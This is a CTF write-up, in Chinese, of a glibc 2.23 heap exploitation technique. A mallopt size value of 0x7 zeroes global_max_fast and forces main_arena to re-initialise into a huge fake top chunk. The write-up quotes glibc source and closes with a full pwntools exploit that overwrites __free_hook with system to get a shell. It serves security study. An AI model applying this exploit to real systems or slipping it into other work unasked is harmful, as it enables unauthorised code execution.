glibc2.23下mallopt漏洞的源码分析与例题

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源码分析

mallopt函数

  • 读写global_max_fast的宏
#define set_max_fast(s)                     \
    global_max_fast = (((s) == 0)           \
                           ? SMALLBIN_WIDTH \
                           : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))

#define get_max_fast() global_max_fast

正常的向上关于2*SIZE对齐操作为:(s + MALLOC_ALIGN_MASK) &~MALLOC_ALIGN_MASK
然而这里加的是SIZE_SZ,64位下即为:

global_max_fast = (s + 0x8) & ~0xF

那么只要s保证除低3bit外全为0,比如s=0x7,那么global_max_fast就等于0
由于ptmalloc在一些地方根据global_max_fast是否为0来判断main_arena是否已经初始化,因此这里会产生重新初始化漏洞
触发重新初始化的逻辑位于malloc_consolidate()函数中,而触发 malloc_consolidate()函数方式有两种

  1. 进行mallopt()操作
  2. 申请一个size属于LargeBin的chunk,触发fastbin整理

malloc_consolidate函数

static void malloc_consolidate(mstate av)
{
    mfastbinptr *fb;          /* current fastbin being consolidated */
    mfastbinptr *maxfb;       /* last fastbin (for loop control) */
    mchunkptr p;              /* current chunk being consolidated */
    mchunkptr nextp;          /* next chunk to consolidate */
    mchunkptr unsorted_bin;   /* bin header */
    mchunkptr first_unsorted; /* chunk to link to */

    /* These have same use as in free() */
    mchunkptr nextchunk;
    INTERNAL_SIZE_T size;
    INTERNAL_SIZE_T nextsize;
    INTERNAL_SIZE_T prevsize;
    int nextinuse;
    mchunkptr bck;
    mchunkptr fwd;

    /*
    If max_fast is 0, we know that av hasn't
    yet been initialized, in which case do so below
  */

    if (get_max_fast() != 0)    //漏洞
    {
        //遍历所有fastbin链表,从中取出chunk,尝试相邻合并后放入UB中
    }
    else //如果global_max_fast为0就触发初始化操作
    {
        malloc_init_state(av);  //对main_arena进行初始化
        check_malloc_state(av);
    }
}

malloc_init_state函数

#define unsorted_chunks(M) (bin_at(M, 1))    //bin_at宏是从1开始算的,因此UB头实际用的是av->bins[0]与av->bins[1]
#define initial_top(M) (unsorted_chunks(M))

static void malloc_init_state(mstate av)    //初始化malloc_state结构体
{
    int i;
    mbinptr bin;

    /* 每个bin都是双向循环链表,默认的空链为自己指向自己*/
    for (i = 1; i < NBINS; ++i)
    {
        bin = bin_at(av, i);
        bin->fd = bin->bk = bin;
    }

//非主分配区用不了heap段,所以不保证分配到的内存是连续的
//主分配区默认初始化为0,所以是有连续标记的
#if MORECORE_CONTIGUOUS
    if (av != &main_arena)
#endif
        set_noncontiguous(av);

    if (av == &main_arena)  //如果初始化的是主分配区,就设置global_max_fast
        set_max_fast(DEFAULT_MXFAST);
    av->flags |= FASTCHUNKS_BIT;

    av->top = initial_top(av); //初始化top chunk为unsorted bin 头
}
  • malloc_state结构体
struct malloc_state
{
    /* Serialize access.  用于串行化访问分配区的互斥锁*/
    mutex_t mutex;

    /* Flags (formerly in max_fast).  */
    int flags;

    /* Fastbins */
    mfastbinptr fastbinsY[NFASTBINS];

    /* Base of the topmost chunk -- not otherwise kept in a bin */
    mchunkptr top;

    /* The remainder from the most recent split of a small request */
    mchunkptr last_remainder;

    /* Normal bins packed as described above */
    mchunkptr bins[NBINS * 2 - 2];

    /* Bitmap of bins 标记bin中有没有空闲chunk的位图*/
    unsigned int binmap[BINMAPSIZE];

    /* Linked list 把分配区链接在单向链表中*/
    struct malloc_state *next;

    /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
    struct malloc_state *next_free;

    /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
    INTERNAL_SIZE_T attached_threads;

    /* Memory allocated from the system in this arena.  */
    INTERNAL_SIZE_T system_mem;
    INTERNAL_SIZE_T max_system_mem;
};

这里的关键是av->top = initial_top(av);宏展开后这一句就相当于 av->top = (&av->bins[0]) - 0x10

  • 正常情况

由于main_arena属于libc的.bss段,因此可以认为是0初始化

static struct malloc_state main_arena = //主分配区,由于是静态的,剩余的bins等被0初始化
    {
        .mutex = _LIBC_LOCK_INITIALIZER,
        .next = &main_arena,
        .attached_threads = 1
   };

当初始化完成后进行第一次malloc时,由于fastbin、smallbin、Unsorted Bin、LargeBin都是空的,因此直接进入最后use_top的逻辑

use_top:
        victim = av->top;
        size = chunksize(victim);  //获取top chunk的size

        if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) //如果top 的空间足够,就切割top
        {
            remainder_size = size - nb;             
            remainder = chunk_at_offset(victim, nb); 
            av->top = remainder;                     

            set_head(victim, nb | PREV_INUSE |
                                 (av != &main_arena ? NON_MAIN_ARENA : 0));
            set_head(remainder, remainder_size | PREV_INUSE);

            check_malloced_chunk(av, victim, nb);
            void *p = chunk2mem(victim);
            alloc_perturb(p, bytes);
            return p;
        }
        else if (have_fastchunks(av)) //再看一眼fastbin中有没有chunk
        {
            malloc_consolidate(av);
            /* restore original bin index */
            if (in_smallbin_range(nb))
                idx = smallbin_index(nb);
            else
                idx = largebin_index(nb);
        }
        else//向OS申请
        {
            void *p = sysmalloc(nb, av);
            if (p != NULL)
                alloc_perturb(p, bytes);
            return p;
        }

由于av->top = (&av->bins[0]) – 0x10,相当于在main_arena上有一个虚拟的chunk,对应关系如下

        main_arena                          virtual chunk
mchunkptr top;                    |    prev_size    
mchunkptr last_remainder;        |    size
mchunkptr bins[0];                |    fd
mchunkptr bins[1];                |    bk

由于默认0初始化,因此这个虚拟的top chunk size为0,会进入sysmalloc()函数,向系统申请内存,从而完成初始化

  • 运行时再次初始化
    根据上面的分析,初始化完成后,在运行中last_remainder不一定为0
    如果再调用malloc_init_state进行初始化则:
    av->top = (&av->bins[0]) - 0x10
    av->top->size = av->last_remainder
    

    相当于在libc上伪造了一个近乎无限大的chunk,只要不断malloc切割top chunk,就可以覆盖位于bins上面的__free_hook

    last_remainder机制

    在遍历UB时,av->last_remainder指向被切割剩下的chunk,用于局部性优化,尽量让malloc到的内存地址相邻

  • last_remainder chunk的切割,在遍历UB链表时进入下面的逻辑

  • last_remainder chunk的设置,在UB整理完chunk后,根据申请的大小对chunk切割,有下面逻辑

综上,我们只要释放一个较大chunk进入UB中,然后申请一个较小的chunk来切割较大chunk,即可设置last_remainder指针

结合上再次初始化的漏洞,就可以在main_arena中伪造一个近乎无穷大的top chunk

 

例题

 

程序分析

  • CreateBuf
    • 0x400<sz<=0x4FF
    • buf= malloc(sz),
    • read(0, buf, sz)
  • Create
    • 0<sz<=0x1F
    • ptr= malloc(sz),
    • read(0, ptr, sz)
  • Delete
    • Free(buf)
    • buf=0
  • Mallopt
  • mallopt(param, val)

 

思路

首先切割大chunk,让last_remaidner不为0

接着利用mallopt的漏洞设置global_fast_max为0

接着利用mallopt()->malloc_consolidate()->malloc_init_state()这一条调用链触发初始化

接下来就是不断申请内存切割top chunk,从而覆盖到__free_hook
为了尽量避免SIGV,申请的chunk要尽量大一些,这样写入的字符尽量少一些

 

EXP

#! /usr/bin/python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

elf = ELF('./ba_zui_bi_shang')
sh = process('./ba_zui_bi_shang')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
libc = ELF('./libc.so.6')

def Log(val):
    log.success('%s = %s'%(str(val), hex(eval(val))))

def Cmd(i):
    sh.recvuntil(' > ')
    sh.sendline(str(i))

def Create(L, cont):
    Cmd(1)
    sh.sendlineafter(' > ', str(L))
    sh.recvuntil(' > ')
    sh.send(cont)    

def Free():
    Cmd(2)

def Mallopt(param, val):
    Cmd(3)
    sh.sendlineafter(' > ', str(param))
    sh.sendlineafter(' > ', str(val))

def CreateBuf(L, cont, wait=True):
    if(wait):
        Cmd(4)
    sh.sendlineafter(' > ', str(L))
    sh.recvuntil(' > ')
    sh.send(cont)


sh.recvuntil('Your Gift : ')
libc.address = int(sh.recvline(), 16) - libc.symbols['puts']
Log('libc.address')

CreateBuf(0x480, 'A'*0x480, False)    #big chunk
Create(0x10, 'B'*0x10)                #gap to avoid consolidate with top chunk
Free()                                #UB<=>(A, 0x490)
Create(0x10, 'C'*0x10)                #split, av->last_remainder = heap addr

M_MXFAST = 1
Mallopt(M_MXFAST, 0x7)                #global_max_fast = 0
Mallopt(M_MXFAST, 0x7)                #mallopt()->malloc_consolidate()->malloc_init_state()

for i in range(5):                    #padding
    CreateBuf(0x4F8, '\x00')

exp = '/bin/sh\x00'                    #system argv
exp+= '\x00'*0x318            
exp+= p64(libc.symbols['system'])    #__free_hook = system
CreateBuf(0x4F8, exp)

#getshell
Free()

sh.interactive()

'''
'''

 

总结

  • 利用mallopt设置global_max_fast为0,引发main_arena重新初始化,在main_arena上构造出一个top chunk
  • 利用last_remainder伪造top chunk 的size字段,从而在libc的maine_arena上任意写,不断申请直到覆盖掉__free_hook
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